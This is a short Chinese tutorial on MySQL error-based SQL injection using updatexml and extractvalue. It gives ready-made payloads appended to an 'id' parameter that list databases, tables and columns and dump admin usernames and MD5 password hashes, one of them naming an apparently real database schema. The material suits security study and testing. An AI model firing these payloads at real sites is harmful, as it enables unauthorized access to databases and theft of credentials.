web-报错注入

必要的函数

rand

select rand(0) from hackbiao;

rand(0):生成以0开头的随机数,生成的数量与字段下数据的条数相等。如果i没有这个地段的话,就会自己形成一个新的字段打印出来。

count和group by

grouip by在进行排序的时候,会生成一个虚拟机的表进行排序,但是它不会打印出来

复制代码
select username,count(username)x from hackbiao group by username;

floor

向下取整,例如0.9=0

复制代码
select floor(rand(0)*2)x from hackbiao;

extractvalue

复制代码
extractvalue(1,2)
#1:对象  2:路径
#2原本要写的是路径,但是如果路径(XPATH)不对的话,就要把我们要写的sql语句带进去执行,然后同报错信息一起呈现出来

updatexml

复制代码
updatexml(1,2,3)
#1:对象 2:路径 3:修改内容
#跟extractvule一样,当2的路径错了的时候,就会把我们的sql语句带进去执行,然后同报错信息一起显示出来

操作

update

查询数据库

id=12 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

id=12 and updatexml(1,concat(select group_concat(table_name) from information_schema.tables where table_schema=database()),1)

查询数据表

id=130 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

查询表下的字段(admin表下)

id=130 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='admin'),0x7e),1)

读取数据

id=130 and updatexml(1,concat(0x7e,(select group_concat(username,'.........',password) from admin),0x7e),1)

这里是可以看到回显数据是不完整的,看这个感觉就是32位的md5加密。

用长度验证一下猜想,果然是32位。具体数值用substring函数就可以读取了

id=130 and updatexml(1,concat(0x7e,(select password from admin where length(password)=32),0x7e),1)

extractvalue

读取数据库

id=12 and extractvalue(1,concat(0x7e,(select database()),0x7e))

读取数据表

id=12 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='qdm123287303_db'),0x7e))

读取数据

id=130 and extractvalue(1,concat(0x7e,(select password from admin),0x7e))

id=130 and extractvalue(1,concat(0x7e,substring((select password from admin),30,10),0x7e))

相关推荐
无级程序员27 分钟前
dolphinscheduler3.x从mysql迁移到postgresql
数据库·mysql·postgresql
HEJOO91 小时前
MySQL 日期时间类型怎么选:DATE、DATETIME、TIMESTAMP、TIME、YEAR 全解析
android·数据库·mysql
lbb 小魔仙1 小时前
拆开时序数据库再看选型-时序数据库是什么+2026年主流产品选型指南和场景全解析
数据库·时序数据库
RestCloud2 小时前
ETLCloud告警配置实战:5种通知渠道+5个基线指标,一次配齐_
数据库·数据安全·etl·etlcloud·数据传输·数据集成平台·告警配置
IT古董2 小时前
《Agent开发工程师成长指南》- 第4章 第6节:Prompt模板设计——如何把零散的提示词变成可复用的工程资产?
运维·服务器·数据库
骑着蜗牛撵大象3273 小时前
从0实现C++ AI大模型接入SDK(十):DataManager业务实现——数据库CRUD、事务管理与数据一致性
数据库·c++·人工智能·sqlite·事务管理·数据一致性
阿正的梦工坊3 小时前
深入理解 B+ Tree:从二叉搜索树、B Tree 到数据库索引的底层原理
数据库
夜雪一千3 小时前
PostgreSQL 的触发器如何写
linux·数据库·postgresql
IvorySQL4 小时前
PostgreSQL 日报|拟废弃 money 类型(12 月 3 日)
数据库·postgresql
箓维4 小时前
MySQL_数据类型
数据库·mysql